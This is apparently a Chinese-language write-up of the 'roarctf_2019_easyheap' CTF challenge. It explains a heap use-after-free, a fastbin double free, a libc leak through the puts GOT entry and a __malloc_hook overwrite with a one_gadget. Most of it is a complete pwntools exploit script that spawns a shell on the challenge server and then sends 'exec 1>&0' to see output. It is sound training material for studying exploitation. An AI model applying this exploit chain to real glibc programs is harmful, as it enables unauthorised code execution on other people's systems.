roarctf_2019_easyheap
查看保护
有一个大uaf,show的条件是bss上的一个数据应该 为0xdead…
在666中可以进行删除和创建,这里有一个bug,602010这个数据变成0之后–就是成负数可以无限次使用了
攻击思路:因为有uaf和666这个功能,所以我们构造fastbin attack 形成double free,其实fastbin attack使用的是fastbin_dup_consolidate这个手法。构造出double free之后将堆申请到name_addr这里,在输入name的时候先伪造出一个堆,这里的手法使用fastbin_dup_into_stack。
到达name可以改下面的heap_ptr和show_flag了。
顺便将heap_ptr改成puts_got这样show之后可以输出libc。
这里有一个小坑点就是close(1) close(2),程序会提示EOF,但是我们还是可以继续执行的,只不过看不到输出而已
再次利用上面的手法形成double free申请到malloc_hook - 0x23,劫持malloc_hook,这一题需要使用realloc来调整堆栈。
最后getshell之后发送一个exec 1>&0就可以看到输出了。
注意:这里笔者不再详细的写fastbin_dup_consolidate这些攻击手法,具体的话可以看笔者blog里的z1r0’s bloghow2heap这些
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
debug = 1
if debug:
r = remote('node4.buuoj.cn', 27159)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
menu = ">> "
def add(size, content, after = False):
if not after:
r.recvuntil(menu)
else:
sleep(0.1)
r.sendline('1')
if not after:
r.recvuntil("input the size\n")
else:
sleep(0.1)
r.sendline(str(size))
if not after:
r.recvuntil("please input your content\n")
else:
sleep(0.1)
r.send(content)
def delete(after = False):
if not after:
r.recvuntil(menu)
else:
sleep(0.1)
r.sendline('2')
def show():
r.recvuntil(menu)
r.sendline('3')
def calloc(choice, content='', after = False):
if not after:
r.recvuntil(menu)
else:
sleep(0.1)
r.sendline('666')
if not after:
r.recvuntil("build or free?\n")
else:
sleep(0.1)
r.sendline(str(choice)) #1.add 2.free
if choice == 1:
if not after:
r.recvuntil("please input your content\n")
else:
sleep(0.1)
r.send(content)
fake_chunk = p64(0) + p64(0x71)
fake_chunk = fake_chunk.ljust(0x20, b'\x00')
r.sendafter('please input your username:', fake_chunk)
r.sendafter('please input your info:', 'aaaaa\n')
calloc(1, b'a' * 0xa0)
add(0x60, b'b' * 0x60)
calloc(2)
add(0x60, b'c' * 0x60)
add(0x60, b'd' * 0x60)
delete()
calloc(2)
delete()
name_addr = 0x602060
puts_got = elf.got['puts']
add(0x60, p64(name_addr))
add(0x60, b'e' * 0x60)
add(0x60, b'f' * 0x60)
add(0x60, b'g' * 0x18 + p64(puts_got) + p64(0xDEADBEEFDEADBEEF))
show()
puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('[+] puts_addr = ' + hex(puts_addr))
libc = ELF('./libc-2.23.so')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc.sym['system'] + libc_base
malloc_hook = libc_base + libc.sym['__malloc_hook']
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = one[3] + libc_base
realloc_hook = libc_base + libc.sym['realloc']
calloc(1, b'a', True)
calloc(1, b'a' * 0xa0, True)
add(0x60, b'b' * 0x60, True)
calloc(2, after = True)
add(0x60, b'c' * 0x60, True)
add(0x60, b'd' * 0x60, True)
delete(True)
calloc(2, after = True)
delete(True)
add(0x60, p64(malloc_hook - 0x23), True)
add(0x60, 'a'*0x60, True)
add(0x60, 'b'*0x60, True)
p2 = b'a' * (0x13 - 8) + p64(one_gadget) + p64(realloc_hook + 0x14)
#p2 = b'a' * 0x13 + p64(one_gadget)
add(0x60, p2, True)
r.sendline('1')
sleep(0.1)
r.sendline('16')
r.sendline("exec 1>&0")
r.interactive()